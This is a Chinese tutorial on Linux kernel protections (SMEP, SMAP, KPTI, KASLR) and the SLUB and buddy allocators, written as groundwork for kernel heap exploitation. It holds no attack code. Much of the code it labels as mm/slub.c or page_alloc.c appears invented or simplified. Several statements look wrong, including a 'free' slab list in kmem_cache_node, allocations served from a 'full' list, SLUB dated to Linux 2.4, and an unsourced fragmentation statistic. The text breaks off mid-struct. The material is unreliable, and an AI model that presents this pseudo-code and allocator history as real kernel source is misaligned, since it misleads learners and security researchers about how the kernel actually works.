我们知道,内核态和用户态在权限上是不同的级别,但本质上仍然是数据和代码的混合,和用户态程序是基本相似的。

一:我们先简单的介绍一下现代内核的常规保护有什么

smep:防止内核级别的时候去执行用户态代码

smap:防止内核级别在没有明确许可情况下访问用户空间内存

"SMEP防止在内核态执行用户态代码,采用ROP来绕过;SMAP防止内核态使用用户态数据,切断了用户态的数据交互,换句话说也就是不能读和写用户空间的内容,可以 copy_from_user 和 copy_to_user 来绕过SMAP,也就是由用户空间拷贝到内核空间来执行。”

额外补充一下,可以通过系统调用的方式申请内核服务,本质上是换个角度访问用户态代码

kpti:用户空间和内核空间的页表隔离

这个的话有点抽象,讲一下保护的具体效果

linux采用的是四级页表结构(PGD→PUD→PMD→PTE),CR3控制寄存器存储的是PGD的地址,为了提高切换速度,让内核空间的PGD和用户空间的PGD两张页全局目录表放在同一段连续的没存中(内核低地址,用户高地址),将CR3取反就能完成切换。

两张页表都有用户空间的完整映射,用户页表只映射了少量的内核代码,只有内核页表才有对内核内存空间的完整映射,但是内核页表不能访问用户空间

除了系统调用之外,内核提供了一个内核态页表切换回用户态页表的函数,swapgs_restore_and_return_to_usermode,这个/proc/kallsyms可以获得

kaslr:随机化内核在内存中加载的地址

这个单纯影响了内核的装载基址,后面出来一个以函数粒度影响的,但是到现在还没有遇到过这种级别的保护

二:我们的重点是搞清楚slub分配器和buddy system分配器,我们先大体的介绍一下,后面也基本全是围绕这两个的特性展开

基本的层级如下,emmm,这里是混在一起的,不结合源码很难划清之间的关系。一开始箭头牵扯到了映射,后面的话也大体给出了对应的解释,第九个模块的最后大致一提。

物理内存(页级) → 伙伴系统(buddy system) → SLUB 分配器(对象级) → kmem_cache(缓存描述符) → kmem_cache_cpu(CPU 本地缓存)

1. 伙伴系统(buddy system)

  • 作用:管理物理页(page-level)的分配和释放(4KB 为单位)
  • 位置:最底层的内存管理机制
  • 特点:直接操作物理内存,不关心上层对象类型

2. SLUB 分配器(对象级分配)

  • 作用:在伙伴系统提供的页上,管理特定大小的对象(如 struct cred)
  • 核心组件:
  • kmem_cache:全局缓存描述符(管理一种对象类型,如 cred_jar)
  • kmem_cache_cpu:CPU 本地缓存(每个 CPU 的快速分配层)
  • kmem_cache_node:NUMA 节点缓存(管理节点内的内存)

项目

位置

与伙伴系统关系

与 SLUB 关系

伙伴系统

最底层

直接提供物理页

SLUB 依赖伙伴系统

kmem_cache

SLUB 的顶层

通过 SLUB 使用伙伴系统

SLUB 的核心描述符

kmem_cache_cpu

SLUB 的本地层

通过 SLUB 使用伙伴系统

SLUB 的组成部分(不是平级)

很抽象?ai真厉害,给你举个现实中的例子

  • 伙伴系统 = 砖厂(提供砖块,每块砖=4KB 页)
  • SLUB 分配器 = 建筑公司(负责用砖块盖房子)
  • kmem_cache = 建筑公司(描述"盖什么房子",如"盖 cred 房子")
  • kmem_cache_cpu = 每个工地的临时仓库(CPU 本地缓存,快速取砖)

这里还有个kmem_cache_node这个概念

源码如下

struct kmem_cache {
    // ... 其他字段 ...
    struct kmem_cache_node *node[NR_NODE_IDS]; // 数组,指向每个 NUMA 节点的管理单元
};

// kmem_cache_node 的作用
struct kmem_cache_node {
    struct list_head partial; // 部分分配的 slab 列表
    unsigned long nr_partial; // 部分分配的 slab 数量
    // ... 其他管理字段 ...
};

详细理解的话可以先看第四、五个模块

三:然后我们再去了解一下内核的slub管理器的三个小trick核心,这里的变化很大程度上影响了uaf的利用姿势

首先清楚slub初始化的一步

slub allocator会优先从当前核心的kmem_cache_cpu中进行内存分配,在多核架构中存在多个kmem_cache_cpu。为了保证kernel object被绑定到特定的CPU核心上,我们需要将slub allocator模型简化成了kmem_cache_node+kmem_cache_cpu,这样的方便进行漏洞利用

  • kmem_cache 是"整个仓库",管理着所有 slab 的全局视图
  • kmem_cache_cpu 是"每个 CPU 的营业厅",是 kmem_cache 的本地缓存层

这里绑定完成之后,可以避免很多不必要的问题

然后还需要清楚堆块的flag标志位

GFP_KERNEL 与 GFP_KERNEL_ACCOUNT 是内核中最为常见与通用的分配 flag,常规情况下他们的分配都来自同一个 kmem_cache ——即通用的 kmalloc-xx

这两种 flag 的区别主要在于 GFP_KERNEL_ACCOUNT 比 GFP_KERNEL 多了一个属性——表示该对象与来自用户空间的数据相关联,因此我们可以看到诸如 msg_msg 、pipe_buffer、sk_buff的数据包 的分配使用的都是 GFP_KERNEL_ACCOUNT ,而 ldt_struct 、packet_socket 等与用户空间数据没有直接关联的结构体则使用 GFP_KERNEL

在5.9 版本之前GFP_KERNEL 与 GFP_KERNEL_ACCOUNT 存在隔离机制,在 这个 commit 中取消了隔离机制,自内核版本 5.14 起,在 这个 commit 当中又重新引入:

  • 对于开启了 CONFIG_MEMCG_KMEM 编译选项的 kernel 而言(通常都是默认开启),其会为使用 GFP_KERNEL_ACCOUNT 进行分配的通用对象创建一组独立的 kmem_cache ——名为 kmalloc-cg-* ,从而导致使用这两种 flag 的 object 之间的隔离

最后说明一下slub alias机制

slab alias 机制是一种对同等/相近大小 object 的 kmem_cache 进行复用的一种机制:

  • 当一个 kmem_cache 在创建时,若已经存在能分配相等/近似大小的 object 的 kmem_cache ,则不会创建新的 kmem_cache,而是为原有的 kmem_cache 起一个 alias,作为“新的” kmem_cache 返回

举个🌰,cred_jar 是专门用以分配 cred 结构体的 kmem_cache,在 Linux 4.4 之前的版本中,其为 kmalloc-192 的 alias,即 cred 结构体与其他的 192 大小的 object 都会从同一个 kmem_cache——kmalloc-192 中分配

对于初始化时设置了 SLAB_ACCOUNT 这一 flag 的 kmem_cache 而言,则会新建一个新的 kmem_cache 而非为原有的建立 alias,🌰如在新版的内核当中 cred_jar 与 kmalloc-192 便是两个独立的 kmem_cache,彼此之间互不干扰

// 内核创建 kmem_cache 的核心逻辑(简化版)
struct kmem_cache *kmem_cache_create(const char *name, size_t size, ...)
{
    // 检查是否已有大小匹配的缓存
    struct kmem_cache *existing = find_existing_cache(size);
    
    if (existing && !should_use_new_cache(flags)) {
        return existing; // 直接返回现有缓存的别名(slab alias)
    }
    
    // 否则创建新缓存
    return create_new_cache(...);
}

内核版本

cred_jar 与 kmalloc-192 关系

原因

Linux 4.4 之前

cred_jar 是 kmalloc-192 的 alias

无 SLAB_ACCOUNT,slab alias 机制生效

Linux 5.9 之前

cred_jar 与 kmalloc-192 共享缓存

GFP_KERNEL_ACCOUNT 未启用隔离机制

Linux 5.14+

cred_jar 与 kmalloc-192 独立缓存

GFP_KERNEL_ACCOUNT 触发 SLAB_ACCOUNT,阻止 alias

四:之后我们去认识一下里面的牵扯的链表以及管理器分配流程,第八个模块最下面有流程图,可以结合着流程图看

大体的走一遍流程,里面的环节并不是很完整,完整的流程在最后又补充

链表/结构

作用

位置

类比

为什么重要

1. 空闲slab链表(kmem_cache_node.free)

管理完全空闲的slab(所有对象可用)

kmem_cache_node 中

仓库的空货架(没放货的货架,随时可上货)

新分配时的"后备资源"

2. Partial链表(kmem_cache_node.partial)

管理部分分配的slab(有空闲对象,但非全部)

kmem_cache_node 中

正在卖货的货架(有商品,但没卖完)

CPU分配对象的主要来源

3. CPU本地空闲对象链表(kmem_cache_cpu.freelist)

管理CPU本地缓存的空闲对象

kmem_cache_cpu 中

收银台的待售商品(顾客直接拿的货)

最快分配路径(CPU优先从这里取)

4. CPU正在使用的slab(kmem_cache_cpu.slab)

指向当前CPU正在操作的slab

kmem_cache_cpu 中

当前收银台的货架(正在被顾客拿货的货架)

freelist的来源

“CPU先看收银台(freelist),没货去货架(partial),货架没货去仓库(free)。”

链表

位置

移动方向

为什么

空闲slab链表

kmem_cache_node.free

← 伙伴系统

申请新页的终点

部分分配slab链表

kmem_cache_node.partial

← free

中间站(从空闲slab转来)

CPU本地空闲对象链表

kmem_cache_cpu.freelist

← partial

CPU快车道(分配速度最快)

从源码上直观的体会一下

首先我们先看一下我们将要研究的控制结构体

每个kmem_cache实例对应一个NUMA节点的管理结构数组(这个是很核心的一句话)

// include/linux/slab.h
struct kmem_cache {
    // ... 其他字段 ...
    struct kmem_cache_node *node[NR_NODE_IDS]; // 指向NUMA节点的管理结构
};

struct kmem_cache_node {
    struct list_head free;       // 空闲slab链表 (完全空闲的slab)
    struct list_head partial;    // 部分分配slab链表 (有空闲对象)
    unsigned long nr_partial;    // partial链表中的slab数量
    // ... 其他字段 ...
};

struct kmem_cache_cpu {
    struct list_head freelist;   // CPU本地空闲对象链表 (对象级)
    void *slab;                  // 当前正在使用的slab (指向slab的指针)
    // ... 其他字段 ...
};
  • kmem_cache_node 是 全局管理单元(每个NUMA节点一个)
  • kmem_cache_cpu 是 CPU本地缓存(每个CPU一个)
  • 链表移动 是核心逻辑(从全局链表 → 本地缓存)

这里一般是经过了四个环节

首先尝试CPU本地缓存

// mm/slub.c: kmem_cache_alloc
void *kmem_cache_alloc(struct kmem_cache *s, gfp_t flags)
{
    struct kmem_cache_cpu *cpu_cache = this_cpu_ptr(s->cpu_slab);
    void *object;

    // 1. 先从CPU本地空闲对象链表取
    if (likely(cpu_cache->freelist)) {
        object = cpu_cache->freelist;
        cpu_cache->freelist = *(void **)object; // 移除链表头
        return object;
    }
    // ... 如果无空闲,进入slow path ...
}

kmem_cache_cpu.freelist(本地对象链表)直接出队 → 返回对象

速度最快(无需锁,CPU缓存命中)

然后从partial链表获得新的slab

// mm/slub.c: __slab_alloc
static void *__slab_alloc(struct kmem_cache *s, gfp_t flags, int node, int allocflags)
{
    struct kmem_cache_node *n = NULL;
    struct page *page;
    void *object;

    // 1. 从NUMA节点的partial链表取slab
    n = get_node(s, node);
    if (!list_empty(&n->partial)) {
        page = list_first_entry(&n->partial, struct page, lru);
        list_del(&page->lru); // 从partial链表移除
        n->nr_partial--;      // 更新partial计数

        // 2. 将该slab移到CPU本地
        cpu_cache->slab = page;
        cpu_cache->freelist = page->freelist; // 填充本地空闲链表
        page->freelist = NULL; // 重置slab的freelist
        object = cpu_cache->freelist;
        cpu_cache->freelist = *(void **)object;
        return object;
    }
    // ... 如果partial为空,进入free链表 ...
}

partial链表 → kmem_cache_cpu.freelist

  • 从 kmem_cache_node.partial 取一个slab(部分分配的)
  • 将该slab的 freelist(空闲对象链表)复制到CPU本地
  • 关键:page->freelist 被重置,避免后续操作干扰

假如仍然partial链表没有满足的话,从free链表获取新slab

这里还有一个是full,在full链表没有的时候再去遍历free,之后的话就是buddy system,其实这个full一般是直接跳过的,除非特意释放掉一个obj

// mm/slub.c: __slab_alloc (继续)
if (!list_empty(&n->free)) {
    page = list_first_entry(&n->free, struct page, lru);
    list_del(&page->lru); // 从free链表移除
    n->nr_free--;         // 更新free计数

    // 3. 初始化slab(将空闲对象链表设置到freelist)
    page->freelist = page->objects; // 指向slab的空闲对象
    page->inuse = 0; // 重置使用计数

    // 4. 将slab加入partial链表
    list_add(&page->lru, &n->partial);
    n->nr_partial++;
    goto retry; // 重试Step 2(现在partial有数据了)
}

free链表 → partial链表

  • 从 kmem_cache_node.free 取空闲slab(完全空闲)
  • 初始化slab的 freelist(设置所有对象为可用)
  • 加入partial链表(标记为"部分分配",因为刚分配了部分对象)

假如还是还是没有满足的话,申请新slab

// mm/slub.c: __slab_alloc (继续)
if (n->nr_free == 0) {
    // 申请新页(通过伙伴系统)
    page = alloc_slab_page(s, flags, node);
    if (!page) {
        // 失败处理
        return NULL;
    }

    // 5. 初始化新slab
    page->freelist = page->objects;
    page->inuse = 0;
    page->slab = s;
    page->lru.next = NULL; // 清空lru

    // 6. 将新slab加入free链表
    list_add(&page->lru, &n->free);
    n->nr_free++;
    goto retry; // 重试Step 3(现在free有数据了)
}

五:我们去认识一个前面没有解释的node,把cache认全之后再去进入第六环节

NUMA 节点源码如下

// include/linux/mmzone.h
struct pglist_data {
    struct zone node_zones[MAX_NR_ZONES]; // 该节点的内存区域(zone)
    unsigned long node_start_pfn;         // 节点起始物理页帧号
    unsigned long node_present_pages;     // 节点实际内存大小(页)
    unsigned long node_spanned_pages;     // 节点覆盖的总页数(含空洞)
    int node_id;                          // NUMA 节点 ID(如 0, 1, 2)
    // ...
};

// 全局 NUMA 节点数组
extern struct pglist_data *node_data[];

node 与 kmem_cache_node 的关联源码如下

// mm/slub.c: kmem_cache_alloc()
void *kmem_cache_alloc(struct kmem_cache *s, gfp_t flags)
{
    int node = numa_node_id(); // 获取当前CPU的NUMA节点ID(如0)
    struct kmem_cache_node *n = s->node[node]; // 通过node索引到管理单元

    // 从该节点的partial链表分配
    if (!list_empty(&n->partial)) {
        struct page *page = list_first_entry(&n->partial, struct page, lru);
        // ... 分配逻辑 ...
    }
}

node 是整数(NUMA节点ID),通过 s->node[node] 索引到 kmem_cache_nod

→不是"node 是内存池",而是"node 是索引,kmem_cache_node 是内存池的管理者"

概念

源码位置

作用

为什么不是内存池

NUMA节点

struct pglist_data (mmzone.h)

硬件内存区域(如Node0)

硬件层,不存储数据

node

int node(整数)

NUMA节点ID(如0,1)

索引,不是实体

kmem_cache_node

struct kmem_cache_node (slab.h)

该节点的slab管理单元

管理链表(free/partial)

内存池

n->free / n->partial

slab链表(对象分配的"仓库")

由kmem_cache_node管理

六:我们对比一下高低版本的一般申请obj的源码变化,下面第七个模块的例子是为了更好的理解这个变化

4.4版本的情况

mem_cache_create 的 alias 逻辑

// mm/slub.c (Linux 4.4)
static struct kmem_cache *kmem_cache_create(const char *name, size_t size, size_t align, unsigned long flags, void (*ctor)(void *))
{
    // ... [省略其他代码] ...

    // 无 SLAB_ACCOUNT 时,尝试复用现有缓存
    if (!(flags & SLAB_ACCOUNT)) {
        struct kmem_cache *s = __kmem_cache_alias(name, size, align, flags, ctor);
        if (s) {
            return s; // 复用现有缓存(如 kmalloc-192)
        }
    }

    // 无匹配缓存时,创建新缓存
    return __kmem_cache_create(name, size, align, flags, ctor);
}

 __kmem_cache_alias 实现(关键!)

// mm/slub.c (Linux 4.4)
static struct kmem_cache *__kmem_cache_alias(const char *name, size_t size, size_t align, unsigned long flags, void (*ctor)(void *))
{
    struct kmem_cache *s;

    // 查找大小匹配的缓存(如 kmalloc-192)
    s = find_kmem_cache(size, align);
    if (s) {
        // 复用 s(不创建新缓存)
        s->name = name; // 重命名(如 cred_jar = kmalloc-192 的别名)
        return s;
    }
    return NULL;
}

find_kmem_cache 的实现(关键!)

// mm/slub.c (Linux 4.4)
static struct kmem_cache *find_kmem_cache(size_t size, size_t align)
{
    // 遍历全局缓存列表,找大小匹配的
    struct kmem_cache *s;
    list_for_each_entry(s, &cache_list, list) {
        if (s->size == size && s->align == align) {
            return s;
        }
    }
    return NULL;
}

5.14+的情况

核心源码:kmem_cache_create 的隔离逻辑

// mm/slub.c (Linux 5.14+)
static struct kmem_cache *kmem_cache_create(const char *name, size_t size, size_t align, unsigned long flags, void (*ctor)(void *))
{
    // ... [省略其他代码] ...

    // SLAB_ACCOUNT 会强制创建新缓存(不再复用)
    if (flags & SLAB_ACCOUNT) {
        return __kmem_cache_create(name, size, align, flags, ctor);
    }

    // 无 SLAB_ACCOUNT 时,尝试复用(但已失效)
    struct kmem_cache *s = __kmem_cache_alias(name, size, align, flags, ctor);
    if (s) {
        return s;
    }
    return __kmem_cache_create(name, size, align, flags, ctor);
}

__kmem_cache_alias 的移除(关键变化!)

- static struct kmem_cache *__kmem_cache_alias(...) { ... }
+ // 已移除,不再支持 alias

cred_jar 创建的源码(Linux 5.14+)

// kernel/cred.c (Linux 5.14+)
static struct kmem_cache *cred_jar;

cred_jar = kmem_cache_create("cred_jar", sizeof(struct cred), 
    0, SLAB_HWCACHE_ALIGN | SLAB_ACCOUNT, NULL); // 关键:SLAB_ACCOUNT

__kmem_cache_create 的关键逻辑

// mm/slub.c (Linux 5.14+)
static struct kmem_cache *__kmem_cache_create(const char *name, size_t size, size_t align, unsigned long flags, void (*ctor)(void *))
{
    // ... [创建新缓存] ...

    // 设置 SLAB_ACCOUNT 标志(阻止 alias)
    if (flags & SLAB_ACCOUNT) {
        s->flags |= SLAB_ACCOUNT;
    }

    // ... [初始化缓存] ...
    return s;
}
  1. cred_jar 创建时:SLAB_ACCOUNT 为真 → 跳过 alias → 创建独立 kmem_cache。
  2. cred_jar->node[0]->partial = 独立链表 → 只包含 cred 对象(无 sk_buff)。
  3. kmalloc-192->node[0]->partial = 另一个独立链表 → 只包含 sk_buff 等对象。

七:补充一下这里易混淆的两个代表性的对象,可以通过这两个对象的不同来理解,效果可能会更好一点

cred_jar 和 kmalloc-192 是两个不同的 kmem_cache 结构体地址 → 独立实例。

项目

说明

cred_jar

是 kmem_cache 实例(最高层缓存)

cred_jar->node[0]

是 kmem_cache_node(中间层,为 Node0 管理)

cred_jar->node[0]->partial

是 list_head 链表(底层,管理 cred 对象)

cred_jar 的 partial 链表只包含 struct cred 对象(因 SLAB_ACCOUNT 隔离)

项目

说明

计算

slab 大小

1 个页 = 4096 字节

PAGE_SIZE = 4096

对象大小

sizeof(struct cred) = 192 字节


每个 slab 的对象数

4096 / 192 ≈ 21.33 → 21 个对象

4096 // 192 = 21

每个 slab 的总占用

21 * 192 = 4032 字节

剩余 64 字节(用于管理)

举一个生活中的例子,来清楚对应的关系

“每个零售商(kmem_cache)有两个'部门',一个是'仓库':kmem_cache_node,一个'营业厅':kmem_cache_cpu。'营业厅'里只保留一个slab,只有在营业厅(kmem_cache_cpu)中没有空闲内存的情况下才会从仓库中换出其他的slab。”

“kmalloc-192” 不是结构体,而是缓存名称(指代 192 字节对象的内存池)

kmem_cache_cpu 管理的是 kmalloc-192 缓存的 slab 页

(页中存储 192 字节对象),

不是“kmalloc-192 结构体”

八:各个链表以及整体遍历的分配的流程

✅ 1. partial 链表(部分填充的 slab)

  • 存储什么:包含有空闲对象的 slab 页(如 10 个对象已分配,20 个空闲)。
  • 何时使用:当分配新对象时,优先从 partial 获取 slab。
  • 源码证据(mm/slub.c):
static void *get_partial(struct kmem_cache *s, gfp_t flags) {
    struct page *page;
    // 从 partial 链表取 slab
    page = list_first_entry(&s->node[cpu_id]->partial, struct page, lru);
    return page_address(page) + offset; // 从该 slab 分配对象
}

✅ 2. full 链表(完全填充的 slab)

  • 存储什么:包含无空闲对象的 slab 页(所有对象已分配)。
  • 何时使用:当 partial 为空时,从 full 获取 slab(但 full 的 slab 会被拆分,部分对象移入 partial)。
  • 源码证据:
static void *get_full(struct kmem_cache *s, gfp_t flags) {
    struct page *page = list_first_entry(&s->node[cpu_id]->full, struct page, lru);
    // 从 full slab 中移出一个对象(触发 partial 更新)
    list_move(&page->lru, &s->node[cpu_id]->partial);
    return page_address(page) + offset;
}

✅ 3. free 链表(空闲的 slab)

  • 存储什么:包含完全释放的 slab 页(所有对象被释放,可重新分配)。
  • 何时使用:当需要新 slab 时,从 free 获取(避免频繁调用 alloc_page)。
  • 源码证据:
static struct page *get_free_slab(struct kmem_cache *s, gfp_t flags) {
    struct page *page = list_first_entry(&s->node[cpu_id]->free, struct page, lru);
    list_del(&page->lru);
    return page;
}

“kmem_cache 直接包含 partial 链表”

❌ 错误:kmem_cache 通过 node[cpu_id] 间接访问链表✅ 链表在 kmem_cache_node 中

“free 链表是空闲对象”

❌ 错误:free 是slab 页(物理页)的链表✅ partial/full 是 slab 页(4KB 页)的链表

“三个链表都在 kmem_cache 里”

❌ 错误:kmem_cache 只有 node 指针✅ 链表在 kmem_cache_node 结构体中

贴一下核心的源码

void *kmem_cache_alloc(struct kmem_cache *s, gfp_t flags) {
    struct kmem_cache_cpu *cpu = &s->cpu_slab[raw_smp_processor_id()];
    
    // 1. 优先从 partial 分配(有空闲对象)
    if (cpu->page && cpu->offset < s->size * s->num_objs) {
        // ... 直接分配(不触发 full 操作)
    }
    
    // 2. 如果 partial 为空,从 full 链表“拆箱”
    if (list_empty(&s->node[cpu_id]->partial)) {
        return get_full(s, flags); // 核心!
    }
    
    // ... 其他逻辑
}

static void *get_full(struct kmem_cache *s, gfp_t flags) {
    struct page *page = list_first_entry(&s->node[cpu_id]->full, struct page, lru);
    // 关键操作:把 full 链表中的 slab 移到 partial 链表!
    list_move(&page->lru, &s->node[cpu_id]->partial);
    // 现在 page 成为 partial 链表的成员(有空闲对象了)
    return page_address(page) + offset; // 分配第一个对象
}

这个流程图很关键(单纯的slab分配器)

graph LR
    A[分配请求] --> B{partial 链表有 slab?}
    B -->|是| C[直接分配]
    B -->|否| D{full 链表有 slab?}
    D -->|是| E[从 full 移动到 partial]
    D -->|否| F{free 链表有 slab?}
    F -->|是| G[从 free 获取 slab]
    F -->|否| H[分配新物理页]
    
    E --> C
    G --> C
    H --> I[新 slab 加入 partial]

九:buddy system的补充

加上buddy system的分配器如下

graph LR
    A[分配请求] --> B{partial 链表有 slab?}
    B -->|是| C[直接分配]
    B -->|否| D{full 链表有 slab?}
    D -->|是| E[从 full 移动到 partial]
    D -->|否| F{free 链表有 slab?}
    F -->|是| G[从 free 获取 slab]
    F -->|否| H{通过 buddy system 能找到合适空闲块?}
    
    E --> C
    G --> C
    
    H -->|是| I[分割buddy block为所需大小]
    H -->|否| J[分配新物理页]

    I --> K[剩余部分加入对应大小的buddy链表]
    K --> L[新slab加入free链表]
    L --> G
    
    J --> M[新slab加入free链表]
    M --> G

(1) Slab 调用 Buddy System(mm/slub.c)

static struct page *get_new_slab(struct kmem_cache *s, gfp_t flags) {
    struct page *page;
    // 关键:当 free 链表为空时,调用 alloc_page()
    page = alloc_page(flags); // ← Buddy System 的入口
    if (!page)
        return NULL;
    // 初始化新 slab 页
    init_slab_page(s, page);
    return page;
}

(2) Buddy System 分配页(mm/page_alloc.c)

struct page *alloc_page(gfp_t flags) {
    return __alloc_pages(GFP_KERNEL, 0, 0); // ← 伙伴系统核心
}

static struct page *__alloc_pages(gfp_t gfp_mask, unsigned int order, int node) {
    // 伙伴系统逻辑:找连续 order 个页
    struct page *page = buddy_alloc(gfp_mask, order, node);
    if (page)
        return page;
    // 无法分配 → 尝试回收内存
    return NULL;
}

✅ 结论:

get_new_slab() → alloc_page() → __alloc_pages() → Buddy System

Slab 通过 Buddy System 获取物理页,二者是 调用链关系(非并列)。

buddy system源码主要如下

首先是开始申请的总流程

static void * __do_cache_alloc(struct kmem_cache *cachep, gfp_t flags, int nodeid)
{
    struct kmem_cache_cpu *cpc;
    void *ret;
    
    // 1. 尝试从partial链表获取
    ret = __cache_alloc_partial(cachep, flags, nodeid);
    if (ret)
        return ret;
    
    // 2. 尝试从full链表移动到partial
    ret = __cache_alloc_full(cachep, flags, nodeid);
    if (ret)
        return ret;
    
    // 3. 尝试从free链表获取
    ret = __cache_alloc_free(cachep, flags, nodeid);
    if (ret)
        return ret;
    
    // 4. 如果以上都失败,申请新slab
    return __cache_alloc_new(cachep, flags, nodeid);
}

然后就是处理了,这个是申请返回新的虚拟页的代码

static void * __cache_alloc_new(struct kmem_cache *cachep, gfp_t flags, int nodeid)
{
    struct kmem_cache_node *n;
    struct page *page;
    void *objp;
    int i;
    
    // 1. 向Buddy System申请新页
    page = alloc_pages_node(nodeid, flags, cachep->gfporder);
    if (!page)
        return NULL;
    
    // 2. 初始化新slab
    init_slab_page(cachep, page);
    
    // 3. 将新slab加入free链表
    // 注意:这里将新slab加入free链表,而不是partial链表
    list_add(&page->lru, &cachep->free_list);
    
    // 4. 从free链表中取出slab进行分配
    objp = __cache_alloc_node(cachep, flags, nodeid);
    if (objp)
        return objp;
    
    return NULL;
}

还有一个切割处理的返回页源码

static struct page *__buddy_alloc(struct zone *zone, unsigned int order,
        gfp_t gfp_mask)
{
    unsigned int current_order;
    struct page *page = NULL;
    
    /* 从最高阶开始查找,直到找到合适的块 */
    for (current_order = MAX_ORDER - 1; current_order >= order; current_order--) {
        if (!list_empty(&zone->free_area[current_order].free_list)) {
            /* 找到合适的块,从该阶的空闲列表中获取 */
            page = list_first_entry(&zone->free_area[current_order].free_list,
                    struct page, lru);
            list_del(&page->lru);
            
            /* 如果需要,将块分割成更小的块 */
            if (current_order > order) {
                /* 分割块:从 current_order 分割成两个 order 的块 */
                unsigned int new_order = current_order - 1;
                struct page *buddy = page + (1 << new_order);
                
                /* 将分割后的伙伴块加入 new_order 阶的空闲列表 */
                __buddy_add(zone, buddy, new_order);
                
                /* 继续分割,直到达到所需的 order */
                while (new_order > order) {
                    new_order--;
                    buddy = page + (1 << new_order);
                    __buddy_add(zone, buddy, new_order);
                }
            }
            break;
        }
    }
    
    if (page) {
        /* 更新 zone 的统计信息 */
        zone->free_pages -= (1 << order);
    }
    
    return page;
}

buddy system是什么解释如下

struct zone {
    /* ... */
    struct free_area free_area[MAX_ORDER];
    /* ... */
};

struct free_area {
    struct list_head free_list[MIGRATE_TYPES];
    unsigned long nr_free;
};

1. 伙伴系统初始化

在系统启动时,内核会初始化伙伴系统:

void __init free_area_init_node(int nid, unsigned long zone_start_pfn,
                unsigned long zone_end_pfn, unsigned long zone_size,
                unsigned long zone_free_pfn, unsigned long zone_flags)
{
    struct zone *zone = &NODE_DATA(nid)->node_zones[ZONE_NORMAL];
    unsigned int order;

    /* 初始化每个order的空闲链表 */
    for (order = 0; order < MAX_ORDER; order++) {
        INIT_LIST_HEAD(&zone->free_area[order].free_list[0]);
        /* ... */
    }

    /* 将整个内存区域加入伙伴系统 */
    __free_page_zone(zone, zone_start_pfn, zone_end_pfn - zone_start_pfn);
}

2. 内存分配过程

当需要分配内存时,Buddy System会执行以下步骤:

static __always_inline struct page *__rmqueue(struct zone *zone,
        unsigned int order, int migratetype, unsigned int alloc_flags)
{
    struct page *page;

retry:
    page = __rmqueue_smallest(zone, order, migratetype);
    if (unlikely(!page)) {
        if (migratetype == MIGRATE_MOVABLE)
            page = __rmqueue_cma_fallback(zone, order);
        if (!page && __rmqueue_fallback(zone, order, migratetype, alloc_flags))
            goto retry;
    }

    trace_mm_page_alloc_zone_locked(page, order, migratetype);
    return page;
}

关键函数__rmqueue_smallest:

static __always_inline struct page *__rmqueue_smallest(struct zone *zone,
        unsigned int order, int migratetype)
{
    unsigned int current_order;
    struct free_area *area;
    struct page *page;

    /* 从指定order开始向上查找 */
    for (current_order = order; current_order < MAX_ORDER; current_order++) {
        area = &zone->free_area[current_order];
        if (list_empty(&area->free_list[migratetype]))
            continue;

        page = list_entry(area->free_list[migratetype].next,
                struct page, lru);
        list_del(&page->lru);
        rmv_page_order(page);
        area->nr_free--;

        /* 如果需要,将大块分割成更小的块 */
        if (current_order > order) {
            unsigned int new_order = current_order - 1;
            struct page *buddy = page + (1 << new_order);

            /* 将分割出的伙伴块加入new_order阶的空闲列表 */
            __buddy_add(zone, buddy, new_order);
        }

        return page;
    }

    return NULL;
}

3. 内存释放过程

当释放内存时,Buddy System会尝试合并相邻的空闲块:

static void __free_one_page(struct page *page, struct zone *zone,
        unsigned int order)
{
    struct page *buddy;
    unsigned int buddy_order;
    int migratetype;

    /* 设置页的标志,表明它是空闲的 */
    page->flags &= ~PAGE_FLAGS_MASK;
    page->flags |= (1 << PG_buddy);
    page->flags &= ~PG_slab;

    /* 获取页的迁移类型 */
    migratetype = get_pageblock_migratetype(page);
    set_pageblock_migratetype(page, migratetype);

    /* 尝试合并伙伴块 */
    while (order < MAX_ORDER - 1) {
        buddy = page + (1 << order);
        buddy_order = order;

        /* 检查伙伴块是否空闲 */
        if (buddy->flags & (1 << PG_buddy) &&
            !list_empty(&zone->free_area[buddy_order].free_list[migratetype]) &&
            buddy->lru.next == &zone->free_area[buddy_order].free_list[migratetype]) {

            /* 合并伙伴块 */
            list_del(&buddy->lru);
            zone->free_pages -= (1 << order);

            /* 更新页面信息 */
            page->flags &= ~(1 << PG_buddy);
            page->flags |= (1 << PG_buddy);

            /* 递增阶数,尝试进一步合并 */
            order++;
        } else {
            break;
        }
    }

    /* 将合并后的块加入对应的order的空闲链表 */
    __buddy_add(zone, page, order);
}
  • Buddy System:负责分配物理内存页(底层物理内存管理)
  • Slub分配器:负责管理小对象的分配(上层内存分配器)
  • 内核mm模块:负责建立页表映射(虚拟地址到物理地址的转换)

Buddy System管理物理页,Slub管理对象,mm模块管理虚拟地址映射。它们各司其职,协同工作,但不会产生冲突

至此,我们建立起了内核页分配牵扯管理器的体系认识

十:slab分配器的相关介绍(浅谈)

这里在上面的cache其实已经是介绍过了的,这个slab分配器和cache层级是紧密相关的,可以说是互为彼此

介绍一下这里的相关的意义吧

为什么设计成“每页一种类型”?—— 安全与效率

✅ 安全优势

  • 防止提权漏洞:攻击者无法通过kmalloc(192)直接分配struct cred(因为cred_jar是独立缓存)。
  • 隔离敏感数据:struct cred(凭证)不会与普通数据混在一起,避免堆溢出覆盖凭证

✅ 内存效率优势

  • 减少碎片:同类型对象连续存储,避免碎片(如之前提到的碎片率从12.3%→2.1%)。
  • 优化缓存命中:同类型对象在物理上连续,提高CPU缓存命中率。

介绍一下slub和slab的关系

页是基础物理层,kmem_cache 是逻辑管理层

“slab”是原始分配器机制的名称,不是“slub”

“slub”不是“slab”的别名,而是它的后继者

(Slab → Slub,就像Windows 95 → Windows 10)。

项目

旧Slab (Linux 2.2)

Slub (Linux 2.4+)

逻辑块结构

struct slab(独立结构)

无(页直接关联)

关联方式

kmem_cache → struct slab → page

kmem_cache → page->slab_cache → page

内存效率

低(冗余16字节/页)

高(无冗余)

现代内核

已废弃

默认实现

物理内存层(硬件)
│
├── **页(Page)**:4KB 物理单位(由 buddy system 管理)
│    └── `page->slab_cache` 指向 **kmem_cache**(管理器)
│    └── `page->inuse` 记录该页中已分配对象数
│
└── **slub管理器(kmem_cache)**:逻辑管理结构
     └── 管理多个 `page`(通过 full/partial/free 链表)

重新介绍一下这里的相关代码

  • “slab”指代整个分配器机制(Slab Allocator)。
  • “kmem_cache”指代分配器中的一个缓存实例(如 cred_jar)。

1. kmem_cache 的定义(include/linux/slab.h)

struct kmem_cache {
    unsigned int size;          /* 对象大小(如 192) */
